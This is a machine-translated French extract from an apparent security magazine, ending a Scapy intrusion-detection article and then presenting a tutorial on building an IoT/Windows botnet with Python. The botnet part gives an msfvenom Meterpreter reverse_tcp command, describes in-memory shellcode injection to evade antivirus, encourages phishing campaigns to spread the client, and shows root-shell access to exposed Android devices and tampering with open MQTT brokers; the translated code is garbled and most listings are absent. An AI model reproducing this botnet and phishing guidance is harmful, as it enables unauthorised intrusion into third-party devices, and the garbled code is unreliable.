Vous êtes sur la page 1sur 38

Construisez votre propre NIDS avec Scapy

Ensuite, nous voyons une alerte (figure 29) avec quelques détails sur l'attaque et les déclarations qui ont été utilisées

Figure -29- Attaques SQLI et XSS détectées

III. Trafic de Tor:

Tor est un logiciel gratuit pour permettre la communication anonyme, Tor dirige le trafic Internet via un réseau de superposition gratuit,

mondial et bénévole composé de plus de sept mille relais pour cacher l'emplacement et l'utilisation d'un utilisateur à toute personne

effectuant une surveillance du réseau ou une analyse du trafic. L'utilisation de Tor rend plus difficile la remontée de l'activité Internet

jusqu'à l'utilisateur; cela comprend «les visites de sites Web, les publications en ligne, les messages instantanés et autres formes de

communication».

Qu'est-ce que cela signifie si vous trouvez T ou trafic sur votre réseau?

Cela signifie s :

• S Certains membres de votre réseau parcourent les sites du réseau Tor.

• Certains logiciels qui s'exécutent sur un ou plusieurs des périphériques réseau connectés au réseau Tor.

Alors, où est le problème?

Quels que soient les avantages d'un réseau Tor, ce trafic peut être une référence à des risques plus graves, par exemple:

276
Construisez votre propre NIDS avec Scapy

1. Contourner les contrôles de sécurité: Tor crypte tout le trafic sur le réseau et rend la surveillance des activités trop

difficile. Les employés peuvent contourner les politiques de sécurité et les contrôles de l'organisation très facilement.

2. Impacts sur la réputation de l'organisation et sur la liste noire: P Les personnes gérant les «nœuds de sortie» peuvent utiliser

le nœud pour ajouter des logiciels malveillants, et tout utilisateur téléchargeant via Tor expose l'organisation de

réseau à une infection par un logiciel malveillant.

3. Attaques de logiciels malveillants et de botnet: les personnes exploitant l'un des «nœuds de sortie» peuvent utiliser l'appareil pour ajouter

des logiciels malveillants, et tout utilisateur téléchargeant via Tor expose l'organisation de réseau à une infection par un logiciel malveillant.

4. Attaques DDoS: Le trafic réseau Tor peut entraîner une utilisation élevée de la bande passante du réseau

d'entreprise, ce qui expose en permanence l'organisation à une attaque DDoS.

Comment est-ce que tu reconnaître T ou alors circulation?

Premièrement, nous devons diviser Tor t raffic en deux types:

1. T entrant ou alors trafic: ce type est facile à reconnaître car tous les T ou alors les nœuds de sortie sont connus du public.

2. T sortant ou alors trafic: est beaucoup plus difficile sinon impossible à reconnaître car tous les nœuds d'entrée ne sont pas connus

publiquement.

Nous utilisons exonérateur ( partie de T ou alors project) qui est un service qui maintient une base de données d'adresses IP qui

ont fait partie du réseau Tor, et ce service répond à la question: s'il y avait un relais Tor fonctionnant sur une adresse IP donnée à

une date spécifiée. Un péché figure 30 nous extrayons l'adresse IP et la date de capture des paquets et les envoyons à Exonérateur

placer.

depuis scapy.all import *

import datetime

demandes d'importation

importer prettytable

depuis l'importation Colorfull *

277
Construisez votre propre NIDS avec Scapy

global a

global ss

def check_node (ip, date):

r = requests.get ("https://exonerator.torproject.org/?ip=" + ip + "& timestamp =" + date) ss = str (r.content)

si "positif" dans ss:

retourne True

autre:

retourne False

def Nodes_Extractor (chemin):

a = rdpcap (chemin)

pour x dans a:

si x.haslayer (TCP) et x.getlayer (IP) .dst pas dans Tor_relay et x.getlayer (IP) .src pas dans user:

Tor_relay.append (x.getlayer (IP) .dst)

user.append (x.getlayer (IP) .src)

utc_time = datetime.datetime.fromtimestamp (x.time) .strftime ('% Y-% m-% d')

pour ip dans Tor_relay:

278
Construisez votre propre NIDS avec Scapy

pour nous en utilisateur:

if check_node (ip, utc_time):

r = requests.get ("https://freegeoip.net/json/" + ip) json_response =

r.json ()

x = jolie table. P retty T able ([coloration. BLEU + "N ode


IP "+ coloration.BOLD, coloration.BLUE +" Hôte local "+ \

coloriage.BOLD, coloration.BLUE + "Country" + coloration.BOLD, coloration.BLUE + \

"Latitude" + coloration.BOLD, coloration.BLUE + "Longitude" + coloration.BOLD])

x.align ["Node IP"] = "l"

x.add_row ([("{ip}". format (** json_response)), us, ("{country_name}". format (** json_response
)), \

("{latitude}". format (** json_response)), ("{longitude}". format (** json_response))])

imprimer x

Figure -30

279
Construisez votre propre NIDS avec Scapy

Figure -31- Détection du relais Tor

Conclusion:

À la fin de cet article, nous construisons un NIDS simple capable de détecter les attaques courantes qui ciblent les couches de liaison de données

et d'application basées sur des modèles correspondant aux expressions régulières.En fait, ce NIDS a besoin de plus de développement dans le

mécanisme de détection en améliorant les expressions régulières pour couvrir les dernières attaques et minimiser les alertes fausses / positives.

280
Construisez votre propre NIDS avec Scapy

Les références:

• https://www.acunetix.com/blog/articles/blind-xss/

• https://andreafortuna.org/tor-in-a-company-network-how-to-detect-and-b
lock-it-934d92b4da9e

• https://en.wikipedia.org/wiki/DNS_spoofing

• https://en.wikipedia.org/wiki/SQL_injection

• https://en.wikipedia.org/wiki/Cross-site_scripting

• https://www.amazon.com/Understanding-Network-Hacks-Attack-Defense/ dp /
3662444364

• https://www.nostarch.com/blackhatpython

• http://resources.infosecinstitute.com/port-scanning-using-scapy/

• https://leanpub.com/web-hacking-101

281
Python pour IOT: créez
votre propre botnet et
amusez-vous avec le
protocole MQTT

Adrian Rodriguez Garcia


A PROPOS DE L'AUTEUR

Adrian Rodriguez Garcia


Adrian Rodriguez Garcia, diplômé en ingénierie des télécommunications dans la

spécialité télématique et diplômé du Master en sécurité de l'information et des

communications à l'Université de Séville.

Actuellement, je travaille dans l'unité de cybersécurité de Telefonica (ElevenPaths), dans le domaine de

l'innovation et du laboratoire, où je travaille sur la recherche et le développement de solutions liées à la

sécurité.

Je suis un adepte de la cybersécurité, en particulier des thématiques orientées vers la lutte contre les

malwares, raison pour laquelle je conçois toutes sortes de solutions pour prévenir et atténuer tout

incident pouvant être produit dans les systèmes réseau. De plus, je suis une personne curieuse qui

aime étudier et tester les nouvelles technologies à l'extrême pour profiter pleinement de ses

fonctionnalités ou en connaître les limites et les améliorer.

Contacter: www.linkedin.com/in/adrian-rodriguez-garcia-64257698
Python pour IOT: créez votre propre botnet et amusez-vous avec le MQTT

Contrôler tout type d'appareil connecté au réseau »est devenu l'un des principaux objectifs des cybercriminels. Le contrôle de nombreux

appareils leur permet d'attaquer de grandes infrastructures réseau pour atteindre leur objectif ou uniquement de provoquer un déni de

service.

Qu'allez-vous apprendre? Que devez-vous savoir?


Dans cet article, nous présenterons le monde de l'Internet des • Aucune connaissance préalable n'est requise sur la
objets à l'aide de Python, en particulier le contrôle des programmation, les systèmes ou la cybersécurité car
toutes les connaissances nécessaires seront
appareils à partir des systèmes Microsoft Windows et Android. expliquées dans cet article.
De plus, nous apprendrons le protocole MQTT pour contrôler
les appareils liés à l'automatisation. Les thèmes abordés sont
les suivants: • Vous avez juste besoin de vous amuser à lire, à apprendre et à faire des
recherches.

• Principales attaques de 2017.

• Créez un botnet par attaque indirecte.

• Créez un botnet par attaque directe.

• Protocole MQTT.

introduction

Tout d'abord, nous allons parler des principales attaques qui ont eu lieu au cours de cette année. L'objectif est de montrer le gros problème de sécurité

qui existe aujourd'hui en raison de la connaissance des cybercriminels et du manque de connaissances ou de sensibilisation des personnes.

Ensuite, nous utiliserons le langage Python et l'énorme puissance de ses bibliothèques pour montrer comment créer un botnet de base par

attaque indirecte. Autrement dit, aucune attaque ne sera effectuée sur aucun système, car ce seront les personnes qui installeront les logiciels

malveillants que nous avons créés.

Ensuite, nous attaquerons directement les systèmes Android dans le but d'obtenir un botnet. Pour cela, nous utiliserons un moteur de

recherche d'appareils, comme Shodan.

Enfin, nous parlerons d'un protocole MQTT, très fréquemment utilisé dans le monde IOT, et comme on le verra, très dangereux s'il

n'est pas sécurisé correctement.

Principales attaques de 2017

Tout au long de cette année, différents incidents de sécurité se sont produits liés à la sécurité des appareils connectés à Internet.

Ensuite, nous parlerons de certaines des méthodes les plus importantes pour comprendre les différentes méthodes utilisées, du fonctionnement de leurs

botnets et des objectifs qu'ils poursuivent.

284
Python pour IOT: créez votre propre botnet et amusez-vous avec le MQTT

IOT_reaper

Il a été vu pour la première fois en septembre. Ce botnet a provoqué de vastes pannes Internet en lançant des attaques DDoS massives et sa

principale caractéristique est sa croissance rapide. Le malware a infecté deux millions d'appareils et a eu un taux de croissance de

10 000 nouveaux appareils par jour.

IOT_reaper ne dépend plus de la fissuration des mots de passe faibles, au lieu de cela, il exploite les vulnérabilités de divers appareils IoT

et les asservit à un réseau de botnet.

Persirai

C'est un botnet qui vise plus de 1000 modèles de caméras IP. Personne ne connaît le nombre exact d'appareils dont dispose le
botnet, mais nous savons, grâce à Trend Micro, qu'il y a plus de 120 000 vulnérables que l'on peut trouver à Shodan.

Beaucoup de ces utilisateurs vulnérables ne savent pas que leurs caméras IP sont exposées à Internet. Cela facilite
grandement l'accès à l'interface Web de la caméra IP via le port TCP 81.

Amnésie

Amnesia est un botnet IoT ciblant les enregistreurs vidéo numériques (DVR). Le malware exploite une vulnérabilité révélée il y a plus

d'un an impliquant l'exécution de code à distance dans le micrologiciel Linux des DVR.

Ce malware basé sur Linux est le premier du genre et considéré comme avancé, en raison de ses techniques d'évasion des

machines virtuelles. Le malware détecte s'il s'exécute dans une VM VirtualBox, VMware ou QEMU, des bacs à sable ou des pots de

miel typiques.

Amnesia peut transformer plus de 200 000 appareils vulnérables dans le monde en un botnet. Le logiciel malveillant communique avec les

serveurs de commande et de contrôle (C&C) via le protocole IRC, télécharge la charge utile via des requêtes HTTP et utilise des techniques

d'inondation TCP et UDP.

BrickerBot

L'attaque vectorielle BrickerBot est similaire au botnet Mirai, par exemple, elle a utilisé des attaques par dictionnaire pour obtenir un

accès non autorisé à l'appareil, mais c'est différent car il exécute une chaîne de commandes Linux malveillantes qui entraînent des

dommages permanents dans l'appareil au lieu d'un déni de service.

Ce malware tire parti des failles de sécurité des appareils BSLN et MTLN qui permettent l'exécution de code à distance. BSNL et

MTNL permettaient à quiconque sur Internet de se connecter via le port 7547 aux routeurs et modems de leur réseau interne.

Grâce à ce fait, BrickerBot a causé des dommages entre les deux FAI indiens pendant une semaine.

285
Python pour IOT: créez votre propre botnet et amusez-vous avec le MQTT

BlueBorne

Ce n'est pas un botnet ou un malware, c'est une vulnérabilité de la technologie Bluetooth. L'attaque n'oblige pas la victime à

interagir avec le dispositif attaquant. Cela signifie qu'ils peuvent prendre le contrôle de l'appareil sans avoir à interagir avec lui.

Les attaquants peuvent utiliser BlueBorne de deux manières. La première méthode consiste à se connecter à un appareil cible et à exécuter un code

distant sur l'appareil. En outre, il peut créer un ananas Bluetooth pour détecter le trafic, détourner cette connexion et rediriger le trafic.

On calcule qu'il y a environ 5 milliards d'appareils vulnérables. Cela signifie qu'il s'agit de la vulnérabilité Bluetooth la plus
grave identifiée à ce jour.

Créer un botnet par attaque indirecte

Comme vu dans la section précédente, les cybercriminels ont des caméras, des DVR ou des routeurs parmi de nombreux autres appareils

comme cibles. Chaque attaque est différente de la précédente, tant dans la forme que dans les objectifs, mais toutes ont une philosophie

commune pour atteindre les objectifs fixés. Cette façon de penser se résume en un mot, «IOT» (Internet Of Things). Autrement dit, tout

appareil connecté à Internet sert son objectif.

Dans cette section, la même philosophie sera suivie. Il doit être clair que chaque appareil dispose d'un système d'exploitation avec lequel

travailler (IOS, Android, Windows, Linux, ...). Dans ce cas, un botnet d'appareils avec le système d'exploitation Windows (ordinateurs portables,

tablettes ou ordinateurs de bureau) sera créé en raison de ma prédilection personnelle pour ce type de système.

Il a été appelé «indirect» car il n'est pas destiné à attaquer directement un appareil en particulier, nous attendrons que par hameçonnage

ou d'autres méthodes, les gens «nous donnent» une session sur leurs appareils.

Pour atteindre cet objectif, nous utiliserons le langage de programmation et les bibliothèques suivants:

• Python 2.7

• Bibliothèque Python Ctypes

• Bibliothèque Sockets Python

• Bibliothèque Json Python

• Bibliothèque Python de sous-processus

• Bibliothèque Python WMI

WMI est l'infrastructure pour la gestion des données et les opérations Windows. La bibliothèque WMI Python fournit une interface pour

interagir avec Windows WMI afin que nous puissions gérer les services Windows, ce qui nous intéresse pour rendre notre botnet

persistant.

286
Python pour IOT: créez votre propre botnet et amusez-vous avec le MQTT

Pour exécuter le botnet, les clients sont nécessaires d'une part et le serveur d'autre part. Donc, en premier lieu, le serveur sera créé. Dans

ce cas, la bibliothèque Python de sockets sera utilisée, ce qui nous permettra de connecter des périphériques via un port. Par conséquent,

il est nécessaire de créer une socket qui écoute et accepte les connexions en permanence.

Liste 1:

Une fois que nous avons un serveur de base, nous introduisons des fonctionnalités telles que les suivantes:

• Exécuter des commandes à distance

• Télécharger des fichiers depuis des clients

• Télécharger des fichiers vers les clients

Liste 2:

287
Python pour IOT: créez votre propre botnet et amusez-vous avec le MQTT

On observe que différentes fonctions sont utilisées en fonction du nombre saisi, qui est obtenu à partir de la fonction
suivante:

Liste 3:

Une fois qu'une option est introduite, nous pouvons l'exécuter, par exemple, dans le cas où vous souhaitez télécharger un fichier depuis

l'environnement distant, nous aurons besoin du code suivant, en gardant toujours à l'esprit que le client et le serveur se comprennent.

Liste 4:

288
Python pour IOT: créez votre propre botnet et amusez-vous avec le MQTT

Dans ce cas, un client reçoit un message sous forme JSON demandant un fichier spécifique. Ensuite, le client envoie d'abord la taille du

fichier et plus tard, il envoie le contenu.

Par conséquent, un client peut «télécharger un fichier» sur le serveur, ce qui se fait facilement avec le code suivant.

Liste 5:

Enfin, il suffit de montrer comment les commandes sont envoyées, ce qui revient vraiment à envoyer un fichier, à la différence que, comme il est

logique, les informations qui navigueront sur le réseau seront beaucoup plus petites.

289
Python pour IOT: créez votre propre botnet et amusez-vous avec le MQTT

Liste 6:

Fondamentalement, le serveur demande une commande à envoyer aux clients et bloque la connexion jusqu'à ce que le résultat de

l'exécution soit reçu. Une fois la fonction de la commande d'envoi terminée, nous avons notre botnet, mais nous devons créer le client, ce

qui va être très simple.

Tout d'abord, nous créons une socket qui établit la connexion au serveur et reçoit les commandes de notre serveur de commandes et de

contrôle (C&C).

290
Python pour IOT: créez votre propre botnet et amusez-vous avec le MQTT

Liste 7:

Notez que les fonctions de " téléverser un fichier " et " télécharger un fichier ”Sont les mêmes que ceux du serveur mais à l'inverse. Autrement dit,

lorsque le client reçoit la commande de télécharger un fichier sur le client, le serveur " télécharger un fichier "Est utilisée et lorsque la commande

de téléchargement est reçue, le" téléverser un fichier " est utilisé.

La seule partie qui a des changements est d'exécuter des commandes, où un shell inversé sera créé pour exécuter les commandes.

Liste 8:

291
Python pour IOT: créez votre propre botnet et amusez-vous avec le MQTT

Enfin, la fonctionnalité la plus puissante est ajoutée, qui est d'injecter un shell en mémoire et, en utilisant le framework Metasploit, nous

pouvons obtenir un accès gratuit aux clients.

Cette fonctionnalité a été choisie pour prendre le code Metasploit encodé d'un exécutable Windows de type " windows
/ meterpreter / reverse_tcp " et entrez-le dans une variable du code client, ce qui élude l'antivirus sans problème.

Comme dans l'exemple précédent, une fois que le client reçoit la commande d'injecter le shell, il injecte le shell en mémoire. Pour

cela, la bibliothèque Python "ctypes" a été utilisée.

Annonce 9

Le shellcode est le résultat de l'exécution de la commande suivante dans Metasploit:

292
Python pour IOT: créez votre propre botnet et amusez-vous avec le MQTT

msfvenom -a x86 --platform Windows -p windows / meterpreter / reverse_tcp lhost = <IP_SERVEUR> lport =
<PORT_SERVEUR> -e x86 / shikata_ga_nai -b '\ x00' -i 3 -f python

Une fois les étapes précédentes terminées, le botnet serait terminé. La prochaine étape consiste à distribuer le client pour obtenir le

maximum d'appareils, mais cela fait partie de l'imagination de chaque personne, dans mon cas, j'ai fait du phishing pour cacher

l'exécutable en tant que Microsoft docx et je l'ai distribué par e-mail, mais il existe de nombreuses méthodes pour que l'exécutable

atteigne les gens.

Une fois qu'il est exécuté, ce qui suit s'affiche lorsqu'une commande est exécutée sur la machine distante:

1 Exécuter la commande à distance

Comme indiqué dans cette section, nous pouvons également télécharger ou télécharger des fichiers sur le client.

293
Python pour IOT: créez votre propre botnet et amusez-vous avec le MQTT

2 Télécharger / Télécharger des fichiers

3 Fichier téléchargé

Enfin, lorsque le shell est injecté dans l'ordinateur distant, si Metasploit est démarré avec le " exploiter / multi / gestionnaire "

exploiter et la charge utile " windows / meterpreter / reverse_tcp " est introduit, la session client est obtenue.

294
Python pour IOT: créez votre propre botnet et amusez-vous avec le MQTT

4 Shell introduit

Session de 5 mètres

Je tiens à souligner que le test a été effectué dans un environnement LAN, mais il existe des serveurs Python gratuits, tels que PythonAnyWhere

ou des instances Amazon gratuites, qui peuvent être utilisés pour le faire à grande échelle.

Une fois le code terminé, en utilisant, par exemple, pyinstaller, nous pouvons créer un exécutable pour Windows ou Linux, selon

l'endroit où cette bibliothèque Python est exécutée.

En bref, en utilisant Python et sa bibliothèque de sockets, nous pouvons créer un shell inversé et contrôler n'importe quel système Windows facilement et

rapidement.

La seule exigence indispensable est de créer un bon logiciel à partir de la base donnée ci-dessus pour automatiser l'ensemble du

processus. À ce stade, chaque personne devrait se sentir libre d'enquêter et de modifier le code donné et de s'amuser à créer son propre

botnet. De plus, il est conseillé de faire une bonne campagne de phishing via le courrier, les portails de films, Torrent, etc., ou un autre

type de méthode, pour donner l'exécutable à tout le monde.

En résumé, Python est un excellent outil qui, bien utilisé, peut nous permettre de faire tout ce que nous voulons mais il ne faut pas oublier que

l'objectif principal n'est pas de créer un botnet, qui est le moyen d'atteindre le véritable objectif. Le but est d'attaquer une infrastructure pour

provoquer un déni de service, ou d'effectuer des attaques par dictionnaire pour obtenir des mots de passe, etc. Et pour cela, le botnet est utilisé.

295
Python pour IOT: créez votre propre botnet et amusez-vous avec le MQTT

Créer un botnet par attaque directe

Dans cette section, nous allons attaquer directement les appareils Android en utilisant Shodan, qui dispose d'une API qui peut être utilisée avec Python.

Nous utiliserons le langage de programmation et les bibliothèques suivants:

• Python 2.7

• Requiert la bibliothèque Python

• Bibliothèque Pexpect Python

Tout d'abord, une fois l'environnement disponible et installé, nous allons faire une recherche sur le Web dans Shodan avec le filtre " root

@ Android ».

6 Web Shodan

La recherche montre les appareils Android avec un accès root qui ont un port ouvert sur le réseau. Cela ne signifie pas que les appareils n'ont

pas de nom d'utilisateur ou de mot de passe, mais lorsque nous y aurons accès, ce sera en tant qu'utilisateur root.

Notez que Shodan ne renvoie que 20 résultats car j'ai créé un compte gratuit, mais pour un cybercriminel, payer le compte
premium ne devrait pas poser de problème et ils auront tous les appareils à leur disposition.

Ensuite, Python sera utilisé pour automatiser la recherche et obtenir toutes les adresses IP et tous les ports.

296
Python pour IOT: créez votre propre botnet et amusez-vous avec le MQTT

Liste 10:

L'étape suivante consiste à prendre les résultats obtenus et à les introduire dans une autre fonction qui crée un shell distant et nous

permet d'exécuter des commandes à distance. Nous n'allons pas avoir accès à tous les appareils car certains d'entre eux auront un

nom d'utilisateur et un mot de passe, mais la plupart d'entre eux n'ont aucune sécurité et nous pourrons y accéder sans problème.

C'est la raison de la recherche avec Shodan, qui montre de nombreux appareils vulnérables pour ce type d'objectif. De
plus, les gestionnaires d'appareils ignorent souvent qu'ils les ont sur Internet.

Liste 11:

On peut voir qu'avec la bibliothèque Python " attendez », Nous avons exécuté une commande netcat et nous avons obtenu la session

distante facilement et rapidement.

Lorsque le premier exemple donné est exécuté, nous obtenons les adresses IP et les ports auxquels il doit se connecter pour obtenir une session

root.

297
Python pour IOT: créez votre propre botnet et amusez-vous avec le MQTT

7 adresses IP et ports Shodan

Enfin, le dernier exemple est exécuté et nous obtenons une session distante de la machine Android.

8 Obtenir une session à distance

Les exemples présentés ci-dessus sont une base sur laquelle commencer à travailler et libérer l'imagination pour créer un botnet cohérent et

sécurisé.

Par exemple, il peut être automatisé pour prendre la sortie du premier exemple et entrer ces informations dans le deuxième exemple. Cette

façon nous permettra de créer automatiquement les sessions shell. De plus, vous pouvez enregistrer les sessions obtenues pour envoyer et

obtenir des commandes quand nous le souhaitons.

Enfin, si quelqu'un souhaite utiliser Metasploit au lieu de " attendez ”Dans le but de créer un botnet, il peut utiliser la
partie exploit de l'API Shodan.

298
Python pour IOT: créez votre propre botnet et amusez-vous avec le MQTT

Annonce 12:

Ce petit exemple renvoie la CVE des vulnérabilités d'une certaine recherche. Ce qu'il faut faire ensuite, c'est effectuer une recherche CVE comme

celle que nous avons faite précédemment et obtenir les adresses IP et les ports de l'équipement vulnérable.

Enfin, les attaques seraient lancées à partir de Metasploit et les sessions seraient obtenues, mais ce n'est pas aussi automatique ou rapide

que celui illustré ci-dessus.

En bref, en utilisant Python, nous pouvons faire tout ce que nous voulons dans le monde IOT en raison de la puissance de ses bibliothèques et de la rapidité et de

la facilité de création de scripts. Quelle que soit la méthode choisie, comme nous en avons discuté dans la section précédente, vient maintenant le temps

d'attaquer le véritable objectif avec le botnet, mais ce problème est désormais gratuit pour chaque personne qui le souhaite.

Protocole MQTT

MQTT est un protocole de messagerie de publication / abonnement conçu pour la télémétrie M2M (machine to machine) dans les

environnements à faible bande passante et il a été conçu par Andy Stanford-Clark (IBM) et Arlen Nipper en 1999 pour connecter les systèmes de

télémétrie des oléoducs par satellite.

MQTT est un protocole qui, bien que conçu en 1999, n'a pas été libéré du droit d'auteur avant 2010. Un autre examen
important est qu'il est devenu une norme OASIS en 2014.

Ce protocole est devenu l'un des plus utilisés dans le monde IOT, en raison de la faible utilisation de la bande passante, ce qui fait que la RAM et

le processeur sont en même temps très faibles. Pour cette raison, il s'agit d'un protocole orienté vers le contrôle de capteurs connectés à un

réseau ou à tout appareil lié à la domotique.

La topologie du réseau qui implémente ce protocole est en étoile, c'est-à-dire que tous les clients sont connectés à un serveur appelé

"Broker" qui est chargé de gérer toutes les informations publiées ou consommées par les clients. Par conséquent, il s'agit d'un type de

protocole éditeur / consommateur.

299
Python pour IOT: créez votre propre botnet et amusez-vous avec le MQTT

9 Protocole MQTT

Les informations du courtier sont organisées en rubriques, qui sont un ensemble de files d'attente de messages avec une hiérarchie où chaque rubrique

a une structure de données déterminée dans un format déterminé. Le format de données le plus courant est JSON.

• Usine / voitures / matériaux / métal

• Usine / voitures / matériaux / aluminium

• Usine / nourriture / sortes / pâtes

• Usine / nourriture / sortes / fruits

Pour pouvoir travailler avec les informations, il est nécessaire de s'abonner à un ou plusieurs sujets dans le courtier. Fondamentalement, nous

nous intéressons à deux actions:

• Publier des données: Cette action signifie que les données seront envoyées à une file d'attente dans une rubrique spécifique du courtier, ce qui fait

qu'un autre client qui s'abonne à la rubrique finit de consommer toutes les données.

• Consommer des données: Les données de file d'attente d'une rubrique donnée sont lues.

En premier lieu, nous allons montrer comment MQTT peut être très dangereux si les consignes de sécurité de base ne sont pas correctement

implémentées, et plus tard, nous donnerons quelques indications pour rendre ce protocole sûr.

L'idée principale pour laquelle nous parlons de MQTT est en raison du niveau de danger auquel il est exposé s'il n'est pas sûr. Nous devons nous

rappeler que les données qui naviguent à travers un réseau sont liées à la gestion des appareils. Ces données peuvent être un feu de signalisation, une

caméra domestique, une télévision ou tout ce que nous pouvons imaginer.

300
Python pour IOT: créez votre propre botnet et amusez-vous avec le MQTT

Quelqu'un peut-il imaginer ce qui peut arriver si un courtier MQTT d'une centrale nucléaire reste ouvert sur le réseau et que

quelqu'un modifie les valeurs de ses données? Et si quelqu'un a accès à un courtier où plusieurs feux de signalisation sont

connectés et changer les valeurs de ceux-ci?

Ces questions ont des réponses claires. Par conséquent, nous pouvons maintenant avoir une meilleure idée de l'importance de la sécurité dans ce

protocole. Maintenant, nous allons montrer à quel point il est facile d'accéder à un courtier pour voir et modifier les valeurs qui transitent par le réseau.

Pour atteindre cet objectif, les langages de programmation et bibliothèques suivants seront utilisés.

• Python 2.7

• Requiert la bibliothèque Python

• Bibliothèque Paho-mqtt Python

La première chose à faire est de rechercher dans Shodan, comme dans la section précédente, les appareils qui utilisent ce protocole et ne suivent

pas les règles de sécurité de base.

Annonce 13:

Une fois les adresses IP de tous les courtiers obtenues, il suffit de s'y connecter. Comme nous le verrons ci-dessous, nous pouvons

nous connecter sans problème à la grande majorité car ils n'ont pas d'authentification dans la connexion.

301
Python pour IOT: créez votre propre botnet et amusez-vous avec le MQTT

Liste 14:

Dans le code ci-dessus, nous devons d'abord nous connecter au courtier. En second lieu, nous faisons des abonnements aux sujets et enfin, nous

pouvons lire les messages du sujet.

Dans le code, plus précisément dans la partie de l'abonnement aux rubriques, on peut observer qu'il y a des caractères spéciaux. Le

premier abonnement a le caractère "#". Cela nous permet de nous abonner à tous les sujets existants dans le courtier en une seule ligne

de code. En revanche, il est noté que les caractères "$ SYS / # " apparaît dans l'abonnement dans la ligne suivante. Cet abonnement signifie

que nous pourrons interagir avec les informations du système MQTT en temps réel liées au statut de l'activité dans tous les sujets du

courtier.

Une fois le code exécuté, il est conseillé d'analyser la sortie qu'il fournit:

302
Python pour IOT: créez votre propre botnet et amusez-vous avec le MQTT

10 Informations sur l'état des sujets

Cette information est de l'or. Les données suivantes peuvent être observées très clairement:

● Version du courtier MQTT

● Date d'installation du courtier MQTT

● Clients du courtier:

o Nombre de clients.

o Clients inactifs / déconnectés / expirés / connectés.

o Maximu m clients autorisés dans le courtier.

o Messages stockés / reçus / envoyés.

o Nombre d'abonnements.

o Messages stockés / reçus / envoyés publiés.

o Volume dans le temps des messages / octets reçus / envoyés.

La puissance de ces informations est qu'elles nous permettent de connaître exactement le statut d'un courtier à un moment déterminé et d'avoir des statistiques

en temps réel, ce qui peut nous permettre de connaître le moment idéal pour attaquer et modifier certaines données en envoyant des messages à des sujets qui

sera consommé par quelqu'un.

303
Python pour IOT: créez votre propre botnet et amusez-vous avec le MQTT

De la même manière que nous nous sommes abonnés à différents sujets qui affichent des informations sur les sujets du courtier, nous nous sommes

abonnés à des sujets. Par conséquent, nous pouvons voir les données qui y sont envoyées / reçues.

11 Données de la batterie

Dans ce cas, nous pouvons observer certaines données liées à un processeur et à la mémoire d'une batterie connectée au courtier.

304
Python pour IOT: créez votre propre botnet et amusez-vous avec le MQTT

12 Données de l'environnement de la batterie

Cet autre exemple nous donne des informations plus dangereuses que le précédent. Dans ce cas, nous avons des informations sur la

température, l'humidité et le thermostat d'une batterie. Si nous mettons l'adresse IP de ce courtier à Shodan, nous saurons exactement

de quelle société il s'agit et où elle se trouve, ainsi que le danger réel qui existe si nous modifions des données. Dans ce cas, je ne le ferai

pas car je souhaite préserver l'anonymat de l'entreprise et ne pas risquer d'éventuelles poursuites judiciaires.

Imaginons que la batterie provient d'une machine qui construit des voitures. Que pourrait-il se passer si nous modifions les données dans le cas

le plus extrême pour les arrêter? Les dégâts seraient très graves.

Dans ce troisième exemple, nous pouvons vérifier que nous avons accédé à un site où le réseau est configuré via MQTT. Ces

données (modifiées pour n'impliquer personne) montrent toutes les données liées à l'équipement du réseau.

Dans ce cas, les conséquences seraient très claires, car si nous changeons l'IP et le MAC des commutateurs et que nous mettons la même chose

à tous, nous arriverons à jeter le réseau, ce qui peut entraîner de graves dommages.

305
Python pour IOT: créez votre propre botnet et amusez-vous avec le MQTT

14 Données domotiques d'automatisation

Cet exemple est le plus amusant de tous. Nous pouvons voir que, dans ce cas, grâce aux garages MQTT, les moniteurs et les téléviseurs sont

contrôlés. En regardant l'exemple en détail, il est clair qu'en utilisant des réponses binaires (0/1), les garages sont ouverts ou fermés ou les

moniteurs sont allumés ou éteints. De plus, le fait de changer en ligne / hors ligne peut allumer ou éteindre les téléviseurs.

À ce stade, il est nécessaire d'indiquer comment les données seraient envoyées aux rubriques pour qu'un autre client lise et modifie les données.

client.publish (topic = "tele / sonoff / LWT", payload = "{'Message': 'offline'})

Avec cette simple ligne, nous publierions dans le sujet ce message, qui serait plus tard consommé par un autre client (un
téléviseur) et le téléviseur serait éteint. Tellement facile et simple.

En résumé, MQTT est très dangereux, comme on peut le voir, s'il n'est pas sûr. Pour cette raison, ils donneront une série de

recommandations à suivre pour sécuriser le protocole.

• Premièrement, il peut fonctionner à deux niveaux pour sécuriser les données. Le premier niveau est le réseau qui crypte les données qui
naviguent via TCP / IP avec TLS. Le deuxième niveau consiste à chiffrer la charge utile. De cette façon, si des messages du réseau sont
interceptés, ils ne peuvent pas être lus en texte clair.

• Restreindre l'accès aux sujets. Nous pouvons contrôler quels clients peuvent s'abonner et publier des sujets. Le principal
mécanisme de contrôle est le nom d'utilisateur ou l'ID client. De cette manière, si un "hacker" veut accéder au courtier mais ne
connaît pas l'identifiant du client, il ne pourra jamais y accéder.

• Utilisez des certificats clients, par exemple au format x509. Il s'agit de la méthode d'authentification client la plus sécurisée mais
également la plus difficile à mettre en œuvre car elle doit déployer et gérer des certificats sur de nombreux clients.

• Utilisez le nom d'utilisateur et le mot de passe dans les clients. C'est une bonne idée si ce n'est pas un serveur public mais
une mauvaise idée sinon. C'est peut-être la mesure la plus inutile de toutes, car (attention) à la fois le mot de passe et
l'utilisateur parcourir le réseau en texte brut. En d'autres termes, si quelqu'un accède au réseau et utilise Wireshark, il
pourra voir le mot de passe et l'utilisateur sans problème. C'est-à-dire que si le nombre de mesures de sécurité augmente,
plus nous rendrons le protocole MQTT sécurisé.

306
Python pour IOT: créez votre propre botnet et amusez-vous avec le MQTT

Bref, MQTT est un protocole typique dans le monde de l'IOT qui, bien utilisé, nous permet de connecter tous les éléments de la domotique que

l'on souhaite avec une faible bande passante. D'un autre côté, si ce n'est pas sûr comme nous l'avons vu, la sécurité des données et des données

physiques peut être gravement menacée.

307
Le pouvoir de

Python
Omar Ahmed
A PROPOS DE L'AUTEUR

Omar Ahmed
Testeur de pénétration avec 5 ans d'expérience dans les applications Web et les tests de

pénétration du réseau, l'analyse des logiciels malveillants et l'ingénierie inverse, l'audit du code

de sécurité et la réponse aux incidents. Évaluation de la vulnérabilité et test de pénétration pour

de nombreuses entreprises de haut niveau dans tout le Moyen-Orient, évaluation pratique de la

sécurité des applications hautement qualifiée et développement d'outils de sécurité avec une

compréhension approfondie de la vulnérabilité

processus de gestion et évaluation des risques. Impliqué dans les défis de sécurité en

rejoignant les FFC en ligne.

https://www.linkedin.com/in/omar-ahmed-843b6b122

https://www.facebook.com/MistSpark
Puissance de Python

